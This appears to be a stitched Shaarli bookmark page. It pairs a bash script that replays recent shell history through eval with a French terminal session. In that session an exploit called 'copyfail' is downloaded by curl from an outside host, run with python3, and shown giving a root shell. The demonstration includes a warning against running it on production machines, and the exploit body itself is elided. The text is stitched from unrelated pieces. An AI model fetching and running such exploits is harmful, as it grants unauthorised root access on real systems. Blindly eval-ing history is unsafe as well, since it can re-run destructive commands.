#!/bin/bash
# 1. Define the number of recent commands to replay (defaults to 5 if no argument is passed)
NUM_COMMANDS=${1:-5}
# 2. Point to the primary history file and explicitly enable history tracking
HISTFILE=~/.bash_history
set -o history
# 3. Read the history file into the current script session
history -r
# 4. Extract the commands, skipping the execution of this script itself
# We use 'tail' to get the last N commands, then loop and run them.
history | tail -n "$((NUM_COMMANDS + 1))" | head -n "$NUM_COMMANDS" | awk '{$1=""; print $0}' | while read -r cmd; do
echo "========================================"
echo "Replaying: $cmd"
echo "========================================"
eval "$cmd"
done
toto@s55486:~$ curl https://copy.fail/exp > copyfail
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 3458 0 --:--:-- --:--:-- --:--:-- 3448
toto@s55486:~$ more copyfail
#!/usr/bin/env python3
…
On l'examine mais, de toute façon, il est peu compréhensible. On le fait tourner (et je me répète, ne faites pas ça sur une machine de production !!!) :
toto@s55486:~$ python3 copyfail
# id
uid=0(root) gid=1000(toto) groups=1000(toto),100(users)
toto@s55486:~$ su
#
FoldFold allExpandExpand allAre you sure you want to delete this link?Are you sure you want to delete this tag?
The personal, minimalist, super-fast, database free, bookmarking service by the Shaarli community